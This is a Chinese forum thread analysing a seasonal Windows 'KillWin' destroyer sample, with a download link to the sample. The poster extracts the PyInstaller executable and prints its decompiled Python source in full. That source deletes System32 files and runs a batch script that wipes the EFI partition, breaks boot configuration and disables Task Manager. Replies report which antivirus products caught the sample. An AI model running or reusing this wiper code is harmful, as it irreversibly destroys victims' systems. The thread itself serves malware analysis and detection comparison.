一年两度的KillWin又来了

YYT2013

一年两度（寒暑假）的KillWin又来了
https://win11dncmd.lanzouu.com/i7mZ63z967wd
还是拆个代码吧：
然后

1. R:\>pyinstxtractor.py WinBSOD.exe
   
2. [+] Processing WinBSOD.exe
   
3. [+] Pyinstaller version: 2.1+
   
4. [+] Python version: 3.13
   
5. [+] Length of package: 11245744 bytes
   
6. [+] Found 998 files in CArchive
   
7. [+] Beginning extraction...please standby
   
8. [+] Possible entry point: pyiboot01_bootstrap.pyc
   
9. [+] Possible entry point: pyi_rth_inspect.pyc
   
10. [+] Possible entry point: pyi_rth__tkinter.pyc
    
11. [+] Possible entry point: Destroyer.pyc
    
12. [!] Warning: This script is running in a different Python version than the one used to build the executable.
    
13. [!] Please run this script in Python 3.13 to prevent extraction errors during unmarshalling
    
14. [!] Skipping pyz extraction
    
15. [+] Successfully extracted pyinstaller archive: WinBSOD.exe
    
16. 
    
17. You can now use a python decompiler on the pyc files within the extracted directory
    

复制代码

然后：https://pylingual.io/

1. # Decompiled with PyLingual (https://pylingual.io)
   
2. # Internal filename: 'Destroyer.py'
   
3. # Bytecode version: 3.13.0rc3 (3571)
   
4. # Source timestamp: 1970-01-01 00:00:00 UTC (0)
   
5. 
   
6. import os
   
7. import ctypes
   
8. import sys
   
9. import time
   
10. from tkinter.messagebox import *
    
11. import threading
    
12. from GDI_effects.GDI import *
    
13. def require_admin():
    
14.     if not ctypes.windll.shell32.IsUserAnAdmin():
    
15.         ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, __file__, None, 1)
    
16. def delete_system_files():
    
17.     system32 = os.environ['WINDIR'] + '\\System32'
    
18.     for root, _, files in os.walk(system32):
    
19.         for file in files:
    
20.             try:
    
21.                 os.remove(os.path.join(root, file))
    
22.             except:
    
23.                 pass
    
24. def abdestroy():
    
25.     a = '\nmountvol X: /S & del X:\\*.*/s/f/q & rd /s/q X:\\EFI\ndate 7600-12-12\nmkdir "C:\\Windows\\System32\\config\\OSDATA"\nfsutil volume dismount C:\nfsutil dirty set C:\nbootsect /nt60 ALL /mbr /force\nbcdedit /set {bootmgr} device none\nbcdedit /set {bootmgr} path no\nbcdedit /set {default} device none\nbcdedit /set {default} path no\nbcdedit /deletevalue {bootmgr} path\nbcdedit /deletevalue {default} osdevice\nbcdedit /deletevalue {default} device\nbcdedit /delete {default} /f\nbcdedit /delete {bootmgr} /f\nbcdedit /createstore nul >nul 2>&1\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f\n'
    
26.     with open('C:/autorec.bat', 'w') as f:
    
27.         f.write(a)
    
28.     os.startfile('C:/autorec.bat')
    
29. def texiao():
    
30.     def fx1():
    
31.         while True:
    
32.             Effects.type_text('Your computer have been destroyed!', 200)
    
33.     def fx2():
    
34.         while True:
    
35.             Effects.invert_screen(repeat=200)
    
36.     def fx3():
    
37.         while True:
    
38.             Effects.flip_screen_upside_down(repeat=200)
    
39.     t1 = threading.Thread(target=fx1, daemon=True)
    
40.     t2 = threading.Thread(target=fx2, daemon=True)
    
41.     t3 = threading.Thread(target=fx3, daemon=True)
    
42.     t1.start()
    
43.     t2.start()
    
44.     t3.start()
    
45.     t1.join()
    
46.     t2.join()
    
47.     t3.join()
    
48. if __name__ == '__main__':
    
49.     if askyesno('Warning', '此程序为病毒，是否运行?'):
    
50.         require_admin()
    
51.         delete_system_files()
    
52.         abdestroy()
    
53.         texiao()

复制代码

没想到吧写了大半天，本质上还是一个bat启动器，一到寒暑假就会出现的低质量东西，然后b站上标题起的天花乱坠，最后坑的是那些不懂电脑的小白（比如认为卡巴斯基是垃圾）这种东西当玩具看看就行了

fdsax

emsi双击

anxiety520

Bitdefender MISS

莒县小哥

xjwtzq

奇安信miss

asdfnbbj

360扫描不报

心醉咖啡

360扫描miss

Kinglion

SchoolGirl

eta_powerman

avast kill

MrDeep

解压触发ELG
WinBSOD.exe —— ESET LiveGuard trojan